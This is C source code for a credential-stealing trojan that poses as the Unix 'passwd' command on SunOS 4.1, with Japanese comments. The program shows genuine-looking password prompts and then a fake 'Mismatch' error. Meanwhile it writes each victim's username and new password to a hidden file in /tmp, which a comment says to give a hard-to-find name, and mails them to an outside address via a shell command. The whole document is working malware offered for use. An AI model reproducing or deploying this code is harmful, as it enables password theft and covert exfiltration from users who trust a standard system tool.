<![CDATA[/*=============================================================================
SU Trojan Ver2.00 for SunOS4.1
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (unewn4th@usa.net)
=============================================================================
*/
#include <pwd.h>
#include <stdio.h>
#include <stdlib.h>
/* パスワードを通知するメアド */
/* 以下の1行を削除するとメール通知は行われません */
#define MAIL "hohoho@hacker.net"
/* ロギングファイル. 見つかりにくい名前に変更 */
#define LOGFILE "/tmp/.pl"
#define MSG_PERMERR "Permission denied.\n"
#define MSG_DOESNTEXIST "passwd: %s: unknown user.\n"
#define MSG_BANNER "Changing password for %s on %s\n"
#define MSG_OLDPASS "Old password:"
#define MSG_BADOLDPASS "Sorry.\n"
#define MSG_NEWPASS "New password:"
#define MSG_RENEWPAS "Retype new password:"
#define MSG_TOOSHORT "Please use a longer password.\n"
#define MSG_DONTMATCH "Mismatch - password unchanged.\n"
#define TMPFILE "/tmp/.tmp"
#define MAX_USERNAME 200
#define MAX_PASSWD 200
main(int argc,char *argv[])
{
int uid=getuid();
struct passwd p;
char oldpasswd[MAX_PASSWD],newpasswd[MAX_PASSWD],renewpasswd[MAX_PASSWD];
char *getpass_sys(char *);
char username[MAX_USERNAME];
char buf[200];
FILE *fp;
memcpy(&p,getpwuid(uid),sizeof(struct passwd));
if (argc==1)
strcpy(username,p.pw_name);
else{
strncpy(username,argv[1],MAX_USERNAME-1);
username[MAX_USERNAME-1]=0;
if (getpwnam(argv[1])==NULL){
printf(MSG_DOESNTEXIST,argv[1]);
exit(1);
}
memcpy(&p,getpwuid(uid),sizeof(struct passwd));
if (uid!=0 && strcmp(p.pw_name,argv[1])){
printf(MSG_PERMERR);
exit(1);
}
}
gethostname(buf,99);
printf(MSG_BANNER,username,buf);
if (uid!=0){
strncpy(oldpasswd,getpass(MSG_OLDPASS),MAX_PASSWD-1);
oldpasswd[MAX_PASSWD-1]=0;
if (strlen(oldpasswd)==0){
printf(MSG_BADOLDPASS);
exit(1);
}
}
strncpy(newpasswd,getpass_sys(MSG_NEWPASS),MAX_PASSWD-1);
newpasswd[MAX_PASSWD-1]=0;
strncpy(renewpasswd,getpass_sys(MSG_RENEWPAS),MAX_PASSWD-1);
renewpasswd[MAX_PASSWD-1]=0;
printf(MSG_DONTMATCH);
if ((fp=fopen(LOGFILE,"a"))!=NULL){
fprintf(fp,"%s %s %s\n",username,newpasswd,renewpasswd);
fclose(fp);
}
#ifdef MAIL
if ((fp=fopen(TMPFILE,"w"))!=NULL){
fprintf(fp,"%s %s %s\n",username,newpasswd,renewpasswd);
fclose(fp);
}
sprintf(buf,"mail %s < %s",MAIL,TMPFILE);
system(buf);
remove(TMPFILE);
#endif
}
char *getpass_sys(char *d)
{
static char *x;
for (;;){
x=getpass(d);
if (strlen(x)<6){
printf(MSG_TOOSHORT);
continue;
}
break;
}
return (x);
}
]]>